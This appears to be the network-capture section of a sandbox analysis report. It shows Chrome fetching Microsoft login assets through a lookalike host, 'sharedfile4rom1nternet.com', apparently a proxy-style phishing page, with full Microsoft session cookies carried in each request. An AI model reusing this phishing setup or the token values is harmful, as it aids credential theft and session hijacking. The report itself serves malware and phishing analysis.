esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABC [TRUNCATED]
2024-11-21 13:45:21 UTC	716	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 20858800 Cache-Control: public, max-age=31536000 Content-MD5: 5YqvyYBhSpzXeWvqe16o8A== Content-Type: image/jpeg Date: Thu, 21 Nov 2024 13:45:21 GMT Etag: 0x8D7D287001BC861 Last-Modified: Fri, 27 Mar 2020 19:42:36 GMT Server: ECAcc (ska/F737) X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: e8ab8b0e-701e-002c-7065-7e3f0c000000 x-ms-version: 2009-09-19 Content-Length: 987 Connection: close
2024-11-21 13:45:21 UTC	987	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 66 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 04 01 1a 00 05 00 00 00 01 00 00 00 3e 01 1b 00 05 00 00 00 01 00 00 00 46 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 10 00 00 00 4e 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 70 61 69 6e 74 2e 6e 65 74 20 34 2e 32 2e 39 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a Data Ascii: JFIFHHfExifMM*>F(1NHHpaint.net 4.2.9CC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.16	49791	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:21 UTC	1699	OUT	GET /aadcdn.msftauth.net/~/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: sharedfile4rom1nternet.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABC [TRUNCATED]
2024-11-21 13:45:21 UTC	720	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 20863499 Cache-Control: public, max-age=31536000 Content-MD5: EuPayFgGHQiAI7K9SOL6lg== Content-Type: image/x-icon Date: Thu, 21 Nov 2024 13:45:21 GMT Etag: 0x8D8731240E548EB Last-Modified: Sun, 18 Oct 2020 03:02:30 GMT Server: ECAcc (ska/F738) X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 582df77a-301e-0028-1b5a-7e9304000000 x-ms-version: 2009-09-19 Content-Length: 17174 Connection: close
2024-11-21 13:45:21 UTC	15664	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-11-21 13:45:21 UTC	719	IN	Data Raw: 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 Data Ascii: {L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""
2024-11-21 13:45:21 UTC	791	IN	Data Raw: 01 80 00 00 01 80 00 28 00 00 00 18 00 00 00 30 00 00 00 01 00 04 00 00 00 00 00 80 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 Data Ascii: (0"P""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.16	49792	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:21 UTC	1716	OUT	GET /aadcdn.msftauth.net/~/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg HTTP/1.1 Host: sharedfile4rom1nternet.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABC [TRUNCATED]
2024-11-21 13:45:22 UTC	718	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 20858800 Cache-Control: public, max-age=31536000 Content-MD5: eRaolOvefSnCzCmyZ/Epnw== Content-Type: image/jpeg Date: Thu, 21 Nov 2024 13:45:21 GMT Etag: 0x8D7D2870015D3DE Last-Modified: Fri, 27 Mar 2020 19:42:36 GMT Server: ECAcc (ska/F690) X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: d71b89c0-e01e-0055-6465-7ebe1f000000 x-ms-version: 2009-09-19 Content-Length: 17453 Connection: close
2024-11-21 13:45:22 UTC	15666	IN	Data Raw: ff d8 ff e1 09 50 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 32 20 37 39 2e 31 36 30 39 32 34 2c 20 32 30 31 37 2f 30 37 2f 31 33 2d 30 31 3a 30 36 3a 33 39 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e Data Ascii: Phttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syn
2024-11-21 13:45:22 UTC	717	IN	Data Raw: 00 00 05 1f ff d3 db c0 6d cd 05 45 00 00 00 04 50 1c 8a 02 00 00 00 00 04 48 aa 0e 45 15 10 00 00 00 00 00 04 82 80 90 50 10 00 04 01 44 14 51 14 10 51 11 05 01 05 40 00 00 00 00 15 40 00 00 00 40 54 50 42 28 00 00 00 00 00 00 00 02 80 00 00 00 20 00 02 a2 8a 00 00 00 00 0a 02 00 00 00 02 28 00 8a 80 00 a0 02 0a 08 a8 28 08 a0 00 02 80 a8 22 80 88 a0 2a 28 00 02 00 28 20 a2 08 28 08 00 02 88 00 0a 82 80 8a 00 00 8a 00 00 08 00 00 02 00 00 00 0a 00 a8 a8 a0 82 a2 00 00 00 8a 00 a0 02 00 02 80 20 00 00 00 00 80 00 00 22 a0 a0 20 00 2a 2a 00 02 8a 80 8a 20 82 88 00 00 00 0a 00 a0 00 00 08 02 a8 8a 02 00 28 00 80 02 80 02 00 00 02 82 2a 28 00 02 80 00 00 8a 00 02 80 00 00 20 02 80 00 ff d4 db c5 46 dc c0 00 45 14 40 00 00 00 01 05 40 40 00 00 00 00 54 00 d4 Data Ascii: mEPHEPDQQ@@@TPB( (("(( ( " * (*( FE@@@T
2024-11-21 13:45:22 UTC	1070	IN	Data Raw: 04 16 20 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 28 20 a0 20 a0 20 a0 20 a0 a8 28 00 28 20 00 0a 80 0a 20 80 a0 82 80 02 82 00 28 2a 20 0a 02 0a 02 28 00 28 82 41 40 41 40 42 28 2a 45 cc 04 02 0a 08 9a a0 18 28 08 28 8a 82 80 8a 00 82 88 20 a0 22 80 00 0a 22 88 22 80 22 80 00 20 00 0a 22 80 02 28 00 00 00 02 00 02 80 00 02 00 00 8a 00 82 88 00 00 8a 88 28 02 80 00 00 00 22 80 00 00 08 a0 20 08 00 00 02 00 00 2a 02 a8 8a 08 28 08 2a 02 a0 a0 82 80 8a 00 00 00 02 00 00 00 00 00 00 00 28 00 a0 00 08 00 28 28 00 20 00 0a 8a 00 0a 20 00 28 00 08 a0 00 8a 00 00 03 ff d7 dc 00 74 73 00 00 01 44 01 00 00 00 10 50 10 54 00 00 11 40 40 00 00 10 50 10 54 00 00 00 50 00 40 00 00 02 10 01 20 a4 04 16 10 10 00 00 00 00 00 00 00 00 00 04 00 50 45 00 00 Data Ascii: ( (( (* ((A@A@B(E(( """" "((" (*((( (tsDPT@@PTP@ PE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.16	49794	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:21 UTC	1728	OUT	GET /aadcdn.msftauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_80e93b9a4cb13643afca.js HTTP/1.1 Host: sharedfile4rom1nternet.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABC [TRUNCATED]
2024-11-21 13:45:22 UTC	1344	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 20858801 Cache-Control: public, max-age=31536000 Content-MD5: todPgSbCBNAfnMYQ5LVdvw== Content-Type: application/x-javascript Date: Thu, 21 Nov 2024 13:45:21 GMT Etag: 0x8DAFF34C449D50E Last-Modified: Thu, 26 Jan 2023 00:32:12 GMT Server: ECAcc (ska/F6BA) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 38eb97f0-201e-0099-6e65-7ece42000000 x-ms-version: 2009-09-19 content-length: 109863 Connection: close Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-11-21 13:45:22 UTC	15040	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2024-11-21 13:45:22 UTC	16384	IN	Data Raw: 65 22 3d 3d 3d 6e 2e 74 79 70 65 26 26 6e 2e 73 65 6c 65 63 74 6f 72 3d 3d 3d 65 29 72 65 74 75 72 6e 20 74 28 6e 2c 72 29 7d 29 29 3a 28 74 3d 65 2c 74 68 69 73 2e 77 61 6c 6b 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 69 66 28 22 72 75 6c 65 22 3d 3d 3d 65 2e 74 79 70 65 29 72 65 74 75 72 6e 20 74 28 65 2c 6e 29 7d 29 29 29 7d 2c 66 2e 77 61 6c 6b 41 74 52 75 6c 65 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3f 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 52 65 67 45 78 70 3f 74 68 69 73 2e 77 61 6c 6b 28 28 66 75 6e 63 74 69 6f 6e 28 6e 2c 72 29 7b 69 66 28 22 61 74 72 75 6c 65 22 3d 3d 3d 6e 2e 74 79 70 65 26 26 65 2e 74 65 73 74 28 6e 2e 6e 61 6d 65 29 29 72 65 74 75 72 6e 20 74 28 6e 2c 72 29 7d 29 29 3a 74 68 69 73 2e 77 Data Ascii: e"===n.type&&n.selector===e)return t(n,r)})):(t=e,this.walk((function(e,n){if("rule"===e.type)return t(e,n)})))},f.walkAtRules=function(e,t){return t?e instanceof RegExp?this.walk((function(n,r){if("atrule"===n.type&&e.test(n.name))return t(n,r)})):this.w
2024-11-21 13:45:22 UTC	16384	IN	Data Raw: 75 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 2e 72 65 73 75 6c 74 2e 6c 61 73 74 50 6c 75 67 69 6e 3d 65 3b 74 72 79 7b 72 65 74 75 72 6e 20 65 28 74 68 69 73 2e 72 65 73 75 6c 74 2e 72 6f 6f 74 2c 74 68 69 73 2e 72 65 73 75 6c 74 29 7d 63 61 74 63 68 28 74 29 7b 74 68 72 6f 77 20 74 68 69 73 2e 68 61 6e 64 6c 65 45 72 72 6f 72 28 74 2c 65 29 2c 74 7d 7d 2c 6c 2e 73 74 72 69 6e 67 69 66 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 73 74 72 69 6e 67 69 66 69 65 64 29 72 65 74 75 72 6e 20 74 68 69 73 2e 72 65 73 75 6c 74 3b 74 68 69 73 2e 73 74 72 69 6e 67 69 66 69 65 64 3d 21 30 2c 74 68 69 73 2e 73 79 6e 63 28 29 3b 76 61 72 20 65 3d 74 68 69 73 2e 72 65 73 75 6c 74 2e 6f 70 74 73 2c 74 3d 6f 5b 22 64 65 66 61 75 6c 74 22 5d Data Ascii: un=function(e){this.result.lastPlugin=e;try{return e(this.result.root,this.result)}catch(t){throw this.handleError(t,e),t}},l.stringify=function(){if(this.stringified)return this.result;this.stringified=!0,this.sync();var e=this.result.opts,t=o["default"]
2024-11-21 13:45:22 UTC	16384	IN	Data Raw: 31 5d 3d 32 35 35 26 65 29 3a 54 28 74 68 69 73 2c 65 2c 74 2c 21 31 29 2c 74 2b 32 7d 2c 75 2e 70 72 6f 74 6f 74 79 70 65 2e 77 72 69 74 65 55 49 6e 74 33 32 4c 45 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 65 3d 2b 65 2c 74 7c 3d 30 2c 6e 7c 7c 50 28 74 68 69 73 2c 65 2c 74 2c 34 2c 34 32 39 34 39 36 37 32 39 35 2c 30 29 2c 75 2e 54 59 50 45 44 5f 41 52 52 41 59 5f 53 55 50 50 4f 52 54 3f 28 74 68 69 73 5b 74 2b 33 5d 3d 65 3e 3e 3e 32 34 2c 74 68 69 73 5b 74 2b 32 5d 3d 65 3e 3e 3e 31 36 2c 74 68 69 73 5b 74 2b 31 5d 3d 65 3e 3e 3e 38 2c 74 68 69 73 5b 74 5d 3d 32 35 35 26 65 29 3a 42 28 74 68 69 73 2c 65 2c 74 2c 21 30 29 2c 74 2b 34 7d 2c 75 2e 70 72 6f 74 6f 74 79 70 65 2e 77 72 69 74 65 55 49 6e 74 33 32 42 45 3d 66 75 Data Ascii: 1]=255&e):T(this,e,t,!1),t+2},u.prototype.writeUInt32LE=function(e,t,n){return e=+e,t\|=0,n\|\|P(this,e,t,4,4294967295,0),u.TYPED_ARRAY_SUPPORT?(this[t+3]=e>>>24,this[t+2]=e>>>16,this[t+1]=e>>>8,this[t]=255&e):B(this,e,t,!0),t+4},u.prototype.writeUInt32BE=fu
2024-11-21 13:45:22 UTC	16384	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 68 69 73 2e 6f 70 74 73 2e 6d 61 70 3f 21 21 74 68 69 73 2e 6f 70 74 73 2e 6d 61 70 3a 74 68 69 73 2e 70 72 65 76 69 6f 75 73 28 29 2e 6c 65 6e 67 74 68 3e 30 7d 2c 74 2e 70 72 65 76 69 6f 75 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 65 76 69 6f 75 73 4d 61 70 73 7c 7c 28 74 68 69 73 2e 70 72 65 76 69 6f 75 73 4d 61 70 73 3d 5b 5d 2c 74 68 69 73 2e 72 6f 6f 74 2e 77 61 6c 6b 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 74 2e 73 6f 75 72 63 65 26 26 74 2e 73 6f 75 72 63 65 2e 69 6e 70 75 74 2e 6d 61 70 29 7b 76 61 72 20 6e 3d 74 2e 73 6f 75 72 63 65 2e 69 6e 70 75 74 Data Ascii: function(){return"undefined"!=typeof this.opts.map?!!this.opts.map:this.previous().length>0},t.previous=function(){var e=this;return this.previousMaps\|\|(this.previousMaps=[],this.root.walk((function(t){if(t.source&&t.source.input.map){var n=t.source.input
